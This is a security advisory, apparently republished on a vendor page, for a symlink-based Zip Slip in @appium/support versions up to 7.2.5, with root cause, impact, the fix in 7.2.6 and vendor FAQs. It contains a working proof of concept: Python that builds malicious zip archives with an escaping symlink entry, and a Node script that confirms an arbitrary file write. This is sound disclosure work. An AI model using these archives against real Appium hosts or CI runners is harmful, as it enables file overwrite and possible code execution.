Summary
Appium: Symlink based Zip Slip in @appium/support ZIP extraction
CVE-2026-30973 (GHSA-rfx7-4xw3-gh4m) was a plain path traversal in the entry name. The containment check built an Error object without throwing it, so an entry literally named something like ../evil.txt was written outside the destination. That issue was fixed in @appium/support 7.0.6 by actually rejecting out of bound entry names.
This finding is a different vector that the 7.0.6 fix does not cover. The archive entry names here are completely legitimate (for example pwn and pwn/owned.txt, no .. anywhere), so every name based defense accepts them. The escape happens through a symbolic link. One entry is a symlink whose target points outside the extraction directory, and a later entry is a regular file whose name resolves through that symlink. The name based containment check never inspects the symlink target, and the extractor writes the symlink target verbatim, so the file lands outside the extraction root.
The two issues compared on the same patched version 7.2.5:
| CVE-2026-30973 | This finding | |
|---|---|---|
| Vector | one entry whose name contains .. |
a symlink entry plus a file written through it |
| Entry names | contain .. (illegal) |
legitimate, no .. and not absolute |
| What is missing | the .. name chec\k did not throw |
name checks never resolve symlinks, and the symlink target is unchecked |
| Entries needed | one | two |
| Fixed in 7.0.6 | yes | no |
| Status on 7.2.5 | blocked | still exploitable (proven below) |
Details
Root cause
The extractor applies only a lexical containment check on each entry's own name, then for a symlink entry it creates the link with the target taken straight from the archive:
// @appium/support build/lib/zip.js (extractAllTo path), version 7.2.5
97 if (!isSubPath(dest, dir)) { // lexical only, never resolves symlinks
98 throw new Error(`Out of bound path "${dest}" found while processing file ${fileName}`);
99 }
...
142 await fs.symlink(link, dest); // link target comes verbatim from the archive
isSubPath compares normalized strings and does not call realpath, so for the file entry pwn/owned.txt the destination dir/pwn/owned.txt is lexically inside dir and the check passes, even though dir/pwn is a symlink created by the previous entry that points outside dir. The write then follows that symlink and escapes. The symlink target itself is never validated against the extraction root.
PoC
build_zips.py
#!/usr/bin/env python3
import os, sys, zipfile, shutil
work = sys.argv[1] if len(sys.argv) > 1 else "/tmp/zswork"
pid = os.getpid()
shutil.rmtree(work, ignore_errors=True)
os.makedirs(work)
# Test A: CVE-2026-30973 plain "../" path traversal in the entry name
extractA = os.path.join(work, "extractA"); os.makedirs(extractA)
escapeA_name = f"escapeA_{pid}.txt" # would land in work/ (outside extractA)
escapeA = os.path.join(work, escapeA_name)
zipA = os.path.join(work, "cve_vector.zip")
with zipfile.ZipFile(zipA, "w") as z:
z.writestr("../" + escapeA_name, "CVE-2026-30973 plain traversal\n")
# Test B: symlink entry whose target escapes, then a file through it
extractB = os.path.join(work, "extractB"); os.makedirs(extractB)
escapeB = os.path.join(work, f"escapeB_{pid}"); os.makedirs(escapeB)
zipB = os.path.join(work, "symlink_bypass.zip")
with zipfile.ZipFile(zipB, "w") as z:
sl = zipfile.ZipInfo("pwn")
sl.create_system = 3 # unix, so external_attr carries the mode
sl.external_attr = (0o120777 & 0xFFFF) << 16 # S_IFLNK | 0777
z.writestr(sl, escapeB) # symlink target is the file body
fi = zipfile.ZipInfo("pwn/owned.txt")
fi.create_system = 3
fi.external_attr = (0o100644 & 0xFFFF) << 16
z.writestr(fi, "PWNED via symlink Zip Slip\n")
print("\t".join([work, extractA, escapeA, zipA, extractB, escapeB, zipB]))
zipslip_poc.js
'use strict';
const fs = require('fs');
const path = require('path');
const support = require('@appium/support');
const [, , work, extractA, escapeA, zipA, extractB, escapeB, zipB] = process.argv;
(async () => {
const ver = require('@appium/support/package.json').version;
console.log(`[*] @appium/support version: ${ver}`);
console.log(`[*] CVE-2026-30973 was fixed in 7.0.6, so on this newer version the plain ../ vector should be blocked.`);
// Test A: the CVE-2026-30973 vector
console.log('\n=== Test A: CVE-2026-30973 plain "../" entry name ===');
let aBlocked = false;
try {
await support.zip.extractAllTo(zipA, extractA);
} catch (e) {
aBlocked = true;
console.log(`[+] REJECTED by extractor: ${String(e.message).split('\n')[0]}`);
}
const aEscaped = fs.existsSync(escapeA);
console.log(`[=] ${aBlocked && !aEscaped ? 'BLOCKED, so CVE-2026-30973 is PATCHED in this version' : 'ESCAPED (not patched)'}`);
// Test B: this finding, the symlink bypass
console.log('\n=== Test B: symlink entry + file written through it (this finding) ===');
try {
await support.zip.extractAllTo(zipB, extractB);
} catch (e) {
console.log(`[i] extractor message: ${String(e.message).split('\n')[0]}`);
}
const planted = path.join(escapeB, 'owned.txt');
const bEscaped = fs.existsSync(planted);
if (bEscaped) {
console.log('[+] ARBITRARY FILE WRITE OUTSIDE THE EXTRACT ROOT VIA SYMLINK CONFIRMED');
console.log(` wrote : ${planted}`);
console.log(` content: ${JSON.stringify(fs.readFileSync(planted, 'utf8'))}`);
} else {
console.log('[-] symlink vector did not escape');
}
console.log('\n=== SUMMARY (same installed version) ===');
console.log(`A CVE-2026-30973 plain ../ : ${aBlocked && !aEscaped ? 'BLOCKED (fix present)' : 'ESCAPED'}`);
console.log(`B symlink bypass (this bug): ${bEscaped ? 'ESCAPED (still vulnerable)' : 'blocked'}`);
process.exit(aBlocked && !aEscaped && bEscaped ? 0 : 2);
})().catch((e) => {
console.error('ERROR', e);
process.exit(3);
});
use
Impact
An attacker who controls an archive that Appium extracts can write files to arbitrary locations writable by the Appium process, since the write follows a symlink to any target the archive specifies. Depending on where Appium runs this can overwrite a configuration file, drop a script into a startup or profile location, or replace a binary on the PATH, which can escalate to code execution. On a continuous integration runner or a device farm host the reachable paths include anything writable by the service account.
CVE-2026-103975 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (7.2.6); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-103975? CVE-2026-103975 is a medium-severity security vulnerability in @appium/support (npm), affecting versions <= 7.2.5. It is fixed in 7.2.6.
- How severe is CVE-2026-103975? CVE-2026-103975 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of @appium/support are affected by CVE-2026-103975? @appium/support (npm) versions <= 7.2.5 is affected.
- Is there a fix for CVE-2026-103975? Yes. CVE-2026-103975 is fixed in 7.2.6. Upgrade to this version or later.
- Is CVE-2026-103975 exploitable, and should I be worried? Whether CVE-2026-103975 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-103975 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-103975? Upgrade
@appium/supportto 7.2.6 or later.